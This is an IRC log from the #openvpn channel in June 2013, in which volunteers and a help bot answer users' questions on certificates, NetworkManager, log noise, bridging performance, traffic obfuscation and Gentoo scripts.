09:13 -!- MagisterQuis [~MagisterQ@2601:a:4400:9f:9cb5:f101:d5f9:a98f] has quit [Changing host]
09:13 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has joined #openvpn
09:21 < dimm0k_> !servercert
09:21 <@vpnHelper> "servercert" is (#1) openssl req -days 3650 -nodes -new -keyout server.key -out server.csr -extensions server -config ./openssl.cnf && openssl ca -days 3650 -out server.crt -in server.csr -extensions server -config ./openssl.cnf && chmod 0600 server.key or (#2) or just use build-key-server in easy-rsa or (#3) this will help with !mitm
09:23 -!- mattock_afk is now known as mattock
09:26 -!- MagisterQuis [~MagisterQ@unaffiliated/kd5pbo] has left #openvpn []
09:26 < dimm0k_> if i want to add client1 and client2 to my openvpn setup, i would need the following in my server.conf?
09:26 < dimm0k_> "cert /etc/openvpn/certs/client1.crt" "cert /etc/openvpn/certs/client2.crt" "key /etc/openvpn/keys/client1.key" "key /etc/openvpn/keys/client2.key"
09:26 < dimm0k_> sorry, a bit confused as to configuring the second client
09:27 -!- dimm0k_ is now known as dimm0k
09:27 -!- dimm0k [~dimm0k@pool-108-41-239-206.nycmny.fios.verizon.net] has quit [Changing host]
09:27 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
09:44 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:44 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
09:45 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:46 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
09:46 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:47 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
09:48 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
09:49 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
09:52 -!- trumee [~parul@185.11.39.145] has quit [Ping timeout: 248 seconds]
10:07 -!- trumee [~parul@185.11.37.181] has joined #openvpn
10:10 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
10:12 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 245 seconds]
10:13 < dimm0k> damn, nevermind that question...  for some reason i thought the client keys needed to also reside on the server...  but as long as the client keys are tied to the server keys, i should be fine
10:47 -!- goofy13 [~goofy13@212.117.162.222] has joined #openvpn
10:49 -!- goofy13 [~goofy13@212.117.162.222] has left #openvpn []
10:50 -!- goofy13 [~goofy13@212.117.162.222] has joined #openvpn
10:50 < goofy13> hello
10:50 < goofy13> i have got a question about the ubuntu networkmanager openvpn plugin
10:50 < goofy13> where can i find an expert on that? :)
11:13 <@krzee> !ubuntu
11:13 <@vpnHelper> "ubuntu" is dont use network manager!
11:13 <@krzee> !netman
11:13 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
11:13 <@krzee> goofy13, thats the general consensus
11:14 <@krzee> get it working correctly calling openvpn from the commandline, then when it works as you wish import the config to network manager, and if that messes things up you know what to blame.
11:15 < goofy13> my question actually is
11:15 -!- Pies [~Pies@314es.pl] has left #openvpn ["WeeChat 0.4.0"]
11:15 < goofy13> can i make network manager pass additional parameters to openvpn?
11:15 <@krzee> dunno
11:16 <@krzee> maybe try #ubuntu
11:16 < goofy13> or should i just go and always call openvpn directly with the ovpn file?
11:16 <@krzee> the config file can have anything the commandline can
11:16 <@krzee> (and more, actually)
11:16 < goofy13> ok
11:17 < goofy13> can i put that command somewhere on ubuntu so i just have to click on it like with network manager?
11:17 < goofy13> like add it to the commands in the right corner or something
11:17 <@krzee> make a shell script end with .command and toss it on your desktop
11:18 < goofy13> and it needs to run as root right?
11:18 <@krzee> right
11:18 < goofy13> so sudo openvpn --cd /Path/to/your/configs --config config.ovpn
11:19 < goofy13> and it should take all parameters from the config?
11:19 < goofy13> and connect right away?
11:26 <@krzee> i refuse to answer on the grounds that you should be trying it not asking that
11:26 < goofy13> ok, will :)
11:27 < goofy13> thanks for your help
11:27 <@krzee> yw
11:50 < vaillor> krzee, are you here?
11:50 -!- Donks [~donks@dhcp-c8-d7-19-90-12-c1.cpe.townisp.com] has joined #openvpn
12:10 -!- baobeiiiii [~baobeiiii@192.73.240.212] has joined #openvpn
12:12 < baobeiiiii> hey
12:13 < baobeiiiii> i've covered this before in here, but is there a way for me to filter out the IP packet with unknown IP version=15 seen from my log
12:13 < baobeiiiii> my server and client conf's match exactly, but i don't want my log getting massive because of a message that repeats exactly every one minute
12:16 <@krzee> what verb are you using?
12:17 < baobeiiiii> 3
12:17 < baobeiiiii> its there even if i lower the verb level
12:17 <@krzee> whats the error
12:17 < baobeiiiii> Fri May 31 23:24:39 2013 IP packet with unknown IP version=15 seen
12:17 < baobeiiiii> repeats every 1 minute to the second
12:18 <@krzee> show me both configs (without comments)
12:18 < baobeiiiii> running the latest alpha version 2.3.1 on both server and clients
12:18 < baobeiiiii> moment
12:19 < baobeiiiii> http://pastebin.com/wzuXwPzY
12:20 <@krzee> that is the client giving this message?
12:20 < baobeiiiii> server log
12:21 < baobeiiiii> openvpn.log
12:22 < baobeiiiii> this might not be useful but
12:22 < baobeiiiii> http://pastebin.com/47hS6wPW
12:22 < baobeiiiii> that's the entire log since i started the openvpn service on server
12:23 <@krzee> are you sure that is the exact config being run by the client?
12:23 < baobeiiiii> 100%
12:23 <@krzee> because the port does not match, i'm calling bullshit
12:23 < baobeiiiii> well, see this:
12:24 < baobeiiiii> http://pastebin.com/JfeiK4uy
12:24 < baobeiiiii> i'm prerouting  200 ports the the port openvpn is actually running on
12:24 <@krzee> haha ok
12:24 < baobeiiiii> to*
12:24 <@krzee> i wonder if thats related to your problem
12:25 < baobeiiiii> same messages when i just used one port
12:25 <@krzee> does openvpn print that message if you stop that insanity?
12:25 < baobeiiiii> without the prerouting trickery
12:25 < pekster> Nah, I looked up this error when you were here a while back; it's an unknown value in the encrypted packet payload
12:25 < baobeiiiii> its not insanity, i do it because my isp blocks the port after about 48 hours after it notices the hourly tls handshake
12:25 < pekster> The value must be either IPv4 or IPv6, otherwise it bombs out. "15" is not a valid value
12:25 < baobeiiiii> so being able to quickly chose another port in client without going into the server is convenient
12:25 <@krzee> omg, sorry to hear that, have you considered using this: ?
12:25 <@krzee> !obfs
12:26 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in
12:26 <@vpnHelper> static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
12:26 < baobeiiiii> don't want to lose perfect forward secrecy, that's my favorite feature
12:27 < pekster> You can run a TLS VPN across the static-keyed tunnel
12:27 <@krzee> #1 and #2 maintain certs
12:27 < baobeiiiii> but slow down the speed?
12:27 < pekster> (or an obfs tunnel, or w/e)
12:27 < pekster> Not much as long as you're using UDP
12:28 < baobeiiiii> it wont help if it doesn't obscure the hourly tls handshake, that's how the chinese isp auto blocks
12:28 < pekster> Right, it does. That's the entire point
12:28 < baobeiiiii> not by saying 'oh this is weird, an endless stream of just udp between two ip's
12:28 < pekster> static key = "no handshake"
12:29 < baobeiiiii> yea i mean option 1 and 2
12:29 < baobeiiiii> static key just seems so risky
12:29 < pekster> Dude, it's just to ESTABLISH the TLS channel. How is that any less risky than using the *Internet* that is inherently insecure?
12:30 < baobeiiiii> the idea that a year's worth of internet usage could be logged and decrypted is bone chilling
12:30 < pekster> RIght. They would decrypt *ENCRYPTED* data
12:30 < pekster> You're clearly not getting this
12:30 < pekster> Your already-encrypted TLS and symmetric keyed data goes over *another* encrypted channel with staic key
12:30 < pekster> The inner tunnel gives you perfect forward secrecy
12:30 < pekster> The outter tunnel hides what the traffic is; it no longer has any fingerprint
12:30 < baobeiiiii> pekster, sounds good
12:31 < baobeiiiii> i will research it further
12:31 < pekster> Either obfs or an outside static-keyed tunnel effectively does the samem thing
12:31 < pekster> Use whichever sounds easier
12:31 < baobeiiiii> any tutorials online, and i dont mean reddit ;)
12:31 <@krzee> maybe you missed it
12:31 < baobeiiiii> specifically for obfuscating the tls handshake with openvpn
12:32 <@krzee> !obfs
12:32 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in
12:32 <@vpnHelper> static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
12:32 <@krzee> openvpn wont obfuscate
12:32 <@krzee> obfsproxy does
12:32 < baobeiiiii> those links mention 'tor'
12:32 <@krzee> the tor project makes obfsproxy
12:32 <@krzee> mainly for people like you
12:33 < baobeiiiii> so i can use obfsproxy alongside openvpn
12:33 <@krzee> pekster is saying you could alternatively run a static-key openvpn instance, and then connect to your normal vpn instance once already inside the static key instance
12:33 <@krzee> link #2 explains how to run openvpn inside obfsproxy, if you bothered reading it you wouldnt be asking that
12:33 < baobeiiiii> i will read it, as i said i will research it further
12:34 < baobeiiiii> thanks for the links
12:34 <@krzee> order of operations: read, ask about what you were given to read
12:34 <@krzee> must use that order ^ :D
12:34 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:34 -!- mode/#openvpn [+v s7r] by ChanServ
12:34 < baobeiiiii> krzee, i'm not lazy although it might appear so
12:34 < baobeiiiii> a while back i got ip6 running and helped you update your helpbot
12:35 < baobeiiiii> its just 1am here :)
12:35 < baobeiiiii> oh wow almost 2am
12:35 <@krzee> =]
12:38 < baobeiiiii> i love openvpn, without it my 'free' time in china would be absolutely boring
12:41 < baobeiiiii> the only other thing i want to log, which i think i saw somewhere in the openvpn cookbook
12:41 < baobeiiiii> is total traffic for each client
12:41 < baobeiiiii> i have a month bandwidth limit, if i go over it, it gets expensive
12:41 < baobeiiiii> monthly*
12:41 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Ping timeout: 248 seconds]
12:42 < baobeiiiii> 20cents per gigabyte over the limit
12:43 < baobeiiiii> for the weird ip messages, i'll ask in a linux channel how to filter it out of a log
12:44 < baobeiiiii> it isn't affecting performance, just a quirk that fills up my log
12:45 -!- baobeiiiii [~baobeiiii@192.73.240.212] has quit [Read error: Connection reset by peer]
12:45 -!- baobeiiiii [~baobeiiii@192.73.240.212] has joined #openvpn
12:45 -!- baobeiiiii [~baobeiiii@192.73.240.212] has quit [Client Quit]
12:46 < pekster> You could build with that log line commented out in the source code
12:46 -!- baobeiiiii [~baobeiiii@180.154.233.155] has joined #openvpn
12:48 < pekster> (repaste) You could build with that log line commented out in the source code
12:48 < baobeiiiii> the openvpn-status.log shows the volume of traffic
12:48 < baobeiiiii> but once a client disconnects it seems to set the counter back to zero bytes
12:53 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
12:53 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
12:54 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
12:56 < pekster> Another option, send it to a syslog process and have it drop that line
12:57 < pekster> Did you ever tcpdump the tunneled data to see why it has an IP version of 15 in it?
12:57 < baobeiiiii> pekster, no
12:57 < pekster> Pretty sure I suggested that weeks back when you brought this issue here the first time
12:57 < baobeiiiii> pekster, your memory is outstanding
12:58 < baobeiiiii> we looked into it and found it to be a mystery
12:58 < pekster> http://www.docunext.com/blog/2013/02/ip-packet-with-unknown-ip-version-15-seen.html
12:58 <@vpnHelper> Title: IP packet with unknown IP version 15 seen (at www.docunext.com)
12:58 < pekster> There you go. 2 minutes on a web search
12:59 < baobeiiiii> pekster, have read that page a few days ago
12:59 < pekster> And for the record, I looked at the source and told you what generated that error message. I left it as an excersize for you to figure out why
13:00 < baobeiiiii> i'm not an IT expert, i've being used openvpn for perhaps 3 years, but only learnt enough to use it as best I can
13:00 < baobeiiiii> nor a coding expert who can look at source code and then 'fix it' or know what it means
13:00 < pekster> Right, I get that. So I translate the bit of source code causing that error to tell you why you get it. Knowning that, fix your application that's *generating* the packet that triggers that message
13:00 < pekster> That's "not an openvpn problem"
13:01 < pekster> openvpn just delivers data across the wire. In this case, it's data with a goofy IP protocol that doesn't mean anything to me
13:01 < baobeiiiii> that article says it's a kernel issue
13:01 < pekster> Using linode by chance?
13:02 < baobeiiiii> pekster, no
13:02 < pekster> Just curious really, since that aoe module was noted to be used by them
13:03 < baobeiiiii> my vps provider is vr.org, they use xen, and as far as i know im running a standard instance of centos 6.3
13:03 < baobeiiiii> but they are known to 'tweak' the kernels somewhat, enough so that the centos channel here doesn't like me asking for help
13:04 < baobeiiiii> [root@baobeiiiii ~]# uname -a
13:04 < baobeiiiii> Linux baobeiiiii.sa.com 3.7.6-cloud #7 SMP Mon Feb 18 02:06:43 EST 2013 x86_64 x86_64 x86_64 GNU/Linux
13:06 < pekster> Easy to confirm then; if the same setup works on a host not running a "strange kernel you have no control over" then that's your issue
13:07 < pekster> It would seem to mesh well with the info on that blog too
13:07 < pekster> tcpdump the data yourself if you want to know more
13:07 < pekster> I've already given you 2 suggestions to ignore the error too
13:08  * pekster thinks that's quite a bit of help for a problem that (likely) is in a kernel you don't admin or control
13:09 < pekster> More curious to me is why some stupid kernel is sending data down a tun device that's not IP traffic
13:09 < pekster> Sounds really broken
13:09 < baobeiiiii> i'll run a tcdump tomorrow
13:09 < pekster> Ask the builder of "3.7.6-cloud #7"
13:10 < baobeiiiii> they give me the option to use any kernel i want
13:10 < baobeiiiii> i could use my own, the offical centos one
13:12 < baobeiiiii> i'm keeping xchat open, i'll re-read all of your suggestions after some sleep, thanks
13:12 < baobeiiiii> pekster, krzee i know your both the most knowlegeble people here and always helping, thanks
13:13 < baobeiiiii> sleep time :)
13:22 -!- JackWinter1 [~jack@vodsl-10021.vo.lu] has quit [Excess Flood]
13:24 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:25 -!- goofy13 [~goofy13@212.117.162.222] has quit [Remote host closed the connection]
13:25 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ndekrniogwzhijsl] has quit [K-Lined]
13:25 -!- lmm [uid6417@gateway/web/irccloud.com/x-thjptwxafntcsxkr] has quit [K-Lined]
13:25 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-vetojjjqrisfnrph] has quit [K-Lined]
13:25 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-eoytpbtwcwyfxgai] has quit [K-Lined]
13:25 -!- JackWinter [~jack@vodsl-10021.vo.lu] has quit [Excess Flood]
13:28 -!- JackWinter [~jack@vodsl-10021.vo.lu] has joined #openvpn
13:32 -!- lmm [uid6417@gateway/web/irccloud.com/x-vavqjxyjdhsxcuuy] has joined #openvpn
13:32 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-vzvdootlyqwkvexc] has joined #openvpn
13:34 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ervskydvehoisopw] has joined #openvpn
13:34 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-iyrkdbbkozftexbd] has joined #openvpn
13:39 -!- Donks [~donks@dhcp-c8-d7-19-90-12-c1.cpe.townisp.com] has quit [Quit: Donks]
13:48 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: Peace.]
13:48 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
13:48 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
13:52 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
14:10 -!- Pei [~pei@thinks.outside.theb0x.org] has left #openvpn []
15:18 -!- rkantos [robin@4e.fi] has quit [Remote host closed the connection]
15:19 -!- Willis [Willis@173.234.237.131] has quit [Ping timeout: 252 seconds]
15:21 -!- mattock is now known as mattock_afk
15:21 -!- Willis [Willis@173.234.237.131] has joined #openvpn
15:34 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
16:01 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
16:02 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
16:11 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 246 seconds]
17:27 -!- Nothing4You is now known as Nothing4Erry
17:28 -!- Nothing4Erry is now known as Nothing4erry
17:53 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
17:57 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Client Quit]
17:57 -!- dxtr [b8de87d2@unaffiliated/dxtr] has joined #openvpn
18:04 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:12 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:26 -!- master_of_master [~master_of@p4FF2444C.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:27 -!- master_of_master [~master_of@p4FF24BDC.dip0.t-ipconnect.de] has joined #openvpn
18:35 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Quit: Leaving]
18:45 <@krzee> nice find on that linode link pekster
18:46 <@krzee> sounds like you found his issue, weird kernel stuffs
18:50 < pekster> Maybe. Something is generating the packet; a kernel feature (although AOE wouldn't apply to tun since it goes over Ethernet.) Clearly finding out "what" is sending it would be faster than blind guessing
19:39 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 256 seconds]
20:23 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:25 -!- brianw [~brianw@user-118blcb.cable.mindspring.com] has joined #openvpn
20:27 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
20:37 -!- Nothing4erry is now known as Nothing4You
21:00 -!- barhom [barhom@netsat.se] has joined #openvpn
21:01 < barhom> Hey, I have two locations that Im running a bridge between. Both have public IP Addresses but Im getting terrible throughput with openvpn UDP. I have tried iperf UDP mode between the two locations and they end up at 500mbit without any packet loss
21:01 < barhom> over openvpn (without any encryption even) I get something like 45mbit/s
21:02 < barhom> The two tests are performed once over internal IPs and once over external IPs when getting the different results (45mbit vs 500)
21:05 -!- xbanux [~xbanux@triband-mum-59.182.155.29.mtnl.net.in] has joined #openvpn
21:05 < EugeneKay> !whybridge
21:05 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
21:06 < EugeneKay> !gigabit
21:06 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
21:06 < EugeneKay> Read ^
21:06 < barhom> EugeneKay: I need to bridge, yes because I need to pass multicast over the link
21:07 < barhom> trust me, Ive been reading that and tried everything. it was a while ago though, Ill try again
21:11 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has joined #openvpn
21:12 < fellayaboy> hey can i use the same client.crt & client.key i used on one machine for another as long as im not using it an another pc? or are these keys and crts attached to the mac address or something of the original client it was first initalized on?
21:13 < EugeneKay> Default behaviour is to allow one connection per certificate
21:13 < fellayaboy> so if i were to move those crts but not use it on any other machine i can simply use it on another pc
21:13 < EugeneKay> Sure
21:13 < fellayaboy> pc's
21:13 < EugeneKay> !dupe
21:13 <@vpnHelper> "dupe" is (#1) see --duplicate-cn in the manual (!man) to see how to allow multiple clients to use the same key (NOT recommended) or (#2) instead, use !pki to make a cert for each user
21:14 < EugeneKay> You can also set that option to use it in several places at once ^
21:14 < EugeneKay> Useful if you're preparing a VM image to be cloned out a bunch
21:15 < barhom> EugeneKay: in the best case scenario, if I can run 500mbps UDP test between two points with iperf, with good hardware I should be able to hit that limit as well with openvpn? I just need a yes here so I know there is something wrong witht he configuration that gives me enough reasons to try again :)
21:15 < EugeneKay> Within an order of magnitude, yes.
21:15 < fellayaboy> thanks eugenekay
21:15 < EugeneKay> There's a bit of overhead
21:16 < barhom> of course, but even if I manage to make it run 200mbps Id be super happy, that would be enough
21:16 < barhom> OpenVPN 2.1.3, upgrade to source?
21:17 < EugeneKay> !package
21:18 < EugeneKay> Hrm, thought we had one in there about that.
21:18 < EugeneKay> !repo
21:18 <@vpnHelper> "repo" is openvpn runs some software repositories for your installing pleasure, http://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
21:18 < EugeneKay> There it is.
21:18 < barhom> great
21:21 < pekster> barhom: You might see the notes in the manpage under --replay-wndow and increase your verbosity accordingly to see if that's an issue
21:21 < pekster> If the product of throughput * latency is "high-ish" that becomes relevant
21:22 < barhom> Ive got something like 70ms latency and about 14 routers in between
21:22 < pekster> Otherwise see if `top` or your favourite monitoring tool can show you if you're capping out on system i/o or kernel processing, which you run into more quickly
21:22 < barhom> but UDP is rather stable on normal iperf link. Im using no cipher/encryption to test first
21:22 < pekster> I said product. You can naturally have low latency but with a high enough bandwidth it doesn't matter becuase the sliding window used by that value is in effect
21:23 < pekster> Ignore my addvice at your discression
21:23 < barhom> I see no reason to ignore any advice.
21:24 < EugeneKay> But do you see reason to read and understand it instead of waving it away
21:24  * pekster shrugs. I gave you something else to look at. At best it'll waste a few minutes of your time and in return verify something isn't the issue
21:24 < pekster> s/best/worst/
21:24 < barhom> Im working on it now, I simply gave more context.
21:29 < barhom> [  3]  0.0-10.0 sec    359 MBytes    302 Mbits/sec  0.018 ms    0/256411 (0%)
21:29 < barhom> [  3]  0.0-10.0 sec  1 datagrams received out-of-order
21:29 < barhom> Seems like the issue lied in the old openvpn, upgrading to !repo worked
21:30 < barhom> Thanks EugeneKay, pekster
21:30 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has quit [Remote host closed the connection]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:48 -!- brad [~brad@ninja.so] has quit [Ping timeout: 245 seconds]
22:48 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit [Quit: cjs226]
22:52 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has joined #openvpn
22:54 < fellayaboy> i set my server firewall to allow access to openvpn heres my setup http://pastebin.com/hJMiVxEw but yet again i cant connect another client to my server...idk if have to configure firewall on client if so could someone tell me
23:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
23:10 -!- fellayaboy [~fellayabo@unaffiliated/fellayaboy] has quit [Quit: Leaving]
23:39 < pekster> !paste
23:39 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into pastebin or a similar website or (#2) https://gist.github.com is a recommended place to use
23:39 < pekster> !learn paste as fpaste.org or gist are preferred over pastebin.com due to ads on the last one
23:39 <@vpnHelper> Joo got it.
23:40 < pekster> !forget paste 3
23:40 <@vpnHelper> Error: Invalid factoid number.
23:41 < pekster> Oh, someone used (#2) in the description :(
23:41 < pekster> !forget paste 2
23:41 <@vpnHelper> Joo got it.
23:41 < pekster> !learn paste as gist or fpaste.org are preferred over pastebin.com due to number of ads
23:41 <@vpnHelper> Joo got it.
23:43 < pekster> Blah, now it's even more confusing. No context changes, but I'm gunna fix that in privmsg since I've spammed enough
23:48 < pekster> !pastebin
23:48 <@vpnHelper> "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see configs for grep syntax to remove comments comments
23:48 < pekster> !forget pastebin 3
23:48 <@vpnHelper> Joo got it.
23:48 < pekster> !learn pastebin as If you're pasting config files, see !configs for grep syntax to remove comments comments
23:48 <@vpnHelper> Joo got it.
23:48 < pekster> !paste
23:48 <@vpnHelper> "paste" is [pastebin]
23:48 < pekster> ...
23:54 < pekster> !forget paste
23:54 <@vpnHelper> Joo got it.
23:54 < pekster> !learn paste as [pastebin]
23:54 <@vpnHelper> Joo got it.
23:54 < pekster> !paste
23:54 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments comments
23:54 < pekster> Bah, has to be linked *in* channel
23:54 < pekster> </spam>
23:56 < pekster> typo fixed to. I'm quitting while I think I've won
23:56 < pekster> too*
--- Day changed Sun Jun 02 2013
00:23 -!- baobeiiiii [~baobeiiii@180.154.233.155] has quit [Quit: Leaving]
00:29 < BtbN> Is it possible to tell OpenVPN to just use an existing br0 device for bridging?
00:29 < BtbN> Or does it always need a separate tap device, which has to be added into the bridge?
00:33 < pwrcycle> !whybridge
00:33 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
00:35 < BtbN> pwrcycle: there is already a dnsmasq dns + dhcp running on a bridge on that device
00:35 < BtbN> the bridge currently spans the wlan and lan
00:36 < Aketzu> openvpn cannot send ethernet frames to anything other than a tap device
00:36 < BtbN> so basicaly, i let openvpn create its tap, and then add that into the existing bridge?
00:36 < Aketzu> yeah
00:40 < BtbN> Is it possible to pass multiple --up scripts?
00:40 -!- xbanux [~xbanux@triband-mum-59.182.155.29.mtnl.net.in] has quit []
00:42 < pekster> No. It is possible for the one you're allowed to do whatever it wants, including call other scripts/programs
00:42 < BtbN> My dist already forces its own up and down scripts
00:42 < pekster> Then either use its mechanism to insert your own or replace it
00:43 < BtbN> They will be overwritten
00:43 < BtbN> but i'll check if they have some chaining support
00:43 < pekster> What distro?
00:44 < BtbN> gentoo
00:44 < BtbN> and yes, there's a default way to call a "per server" script
00:44 < pekster> Then you should have read the messages it printed more carefully
00:44 < pekster> It tells you exactly how to do that
00:44 < EugeneKay> I wouldn't call gentoo a distribution. Maybe a set of makefiles.
00:45 < pekster> No less than NetBSD/FreeBSD
00:45 < EugeneKay> There are no daemons under my roof
00:47 < pekster> BtbN: If you need a reminder, try running `ebuild /usr/portage/net-misc/openvpn/openvpn-2.3.1.ebuild postinst` -- and next time, *read* the message your OS gives you after you install packages (they're usually importnat. That's why they have a colourful asterisk next to them)
00:48 < BtbN> there's nothing about custom up/down scripts...
00:48 < pekster> Yes, my bad (I assumed it would print that info)
00:48 < BtbN> the only message about that is shown if you configure up/down in your .conf
00:48 < BtbN> and try to start it
00:49 < pekster> Turns out the brilliant folks at gentoo only show you that warning if you have an --up or --down in the config files *when* you install the package, or run the postinst like I showed you
00:50 < pekster> Just grep for the string ewarn in the ebuild
00:50 < pekster> They already provide a facility to chainload that. Or you're free to set DETECT_CLIENT=no in /etc/conf.d/openvpn
00:52 < pekster> Oh, and *then* if you do that it will use --user and --group options, unless you specifiy them in your config (so you'd need --user root --group root in the config if you intended to run as root.) That's a distro bug as far as I'm concerned and I'll provide a patch to them within a few days
00:53 < pekster> No clue if they'll accept it; I kinda annoyed one of the maintainers by suggesting they not hack openvpn's source code out of lazyness
00:55 < pekster> BtbN: Look for the bug filed against net-misc/openvpn on b.g.o in a few days when I file it, and if that gotcha I noted impacts you, feel free to vote for the bug as it's more likely to get fixed
00:56 -!- JAVACODER [~JAVACODER@2.190.32.206] has joined #openvpn
01:03 -!- brad [~brad@ninja.so] has joined #openvpn
01:05 -!- Lonely [~chatzilla@S010600254bab37cc.vc.shawcable.net] has joined #openvpn
01:05 -!- mattock_afk is now known as mattock
01:06 -!- Lonely [~chatzilla@S010600254bab37cc.vc.shawcable.net] has left #openvpn []
01:10 -!- Netsplit *.net <-> *.split quits: i7c_, Matir_, thalweg, MikeH, nowak, meepmeep, swiftkey, erry, lickalott, peper,  (+7 more, use /NETSPLIT to show all of them)
01:10 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Read error: Operation timed out]
01:11 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
01:12 -!- Netsplit over, joins: MikeH
01:14 -!- Netsplit over, joins: Fiouz
01:16 -!- swiftkey [swiftkey@2600:3c03::f03c:91ff:feae:aac] has joined #openvpn
01:16 -!- mattock is now known as mattock_afk
01:17 -!- Netsplit over, joins: wykydtron
01:18 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
01:18 -!- Netsplit over, joins: meepmeep
01:19 -!- Netsplit over, joins: haasn
01:19 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
01:19 -!- Netsplit over, joins: peper
01:20 -!- Netsplit over, joins: i7c_
01:20 -!- erry_ is now known as erry
01:21 -!- Netsplit over, joins: nowak, Matir_, cruxeternus, thalweg
01:32 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has quit [Ping timeout: 252 seconds]
01:32 -!- MrPockets [~MevinKitt@72.129.142.124] has joined #openvpn
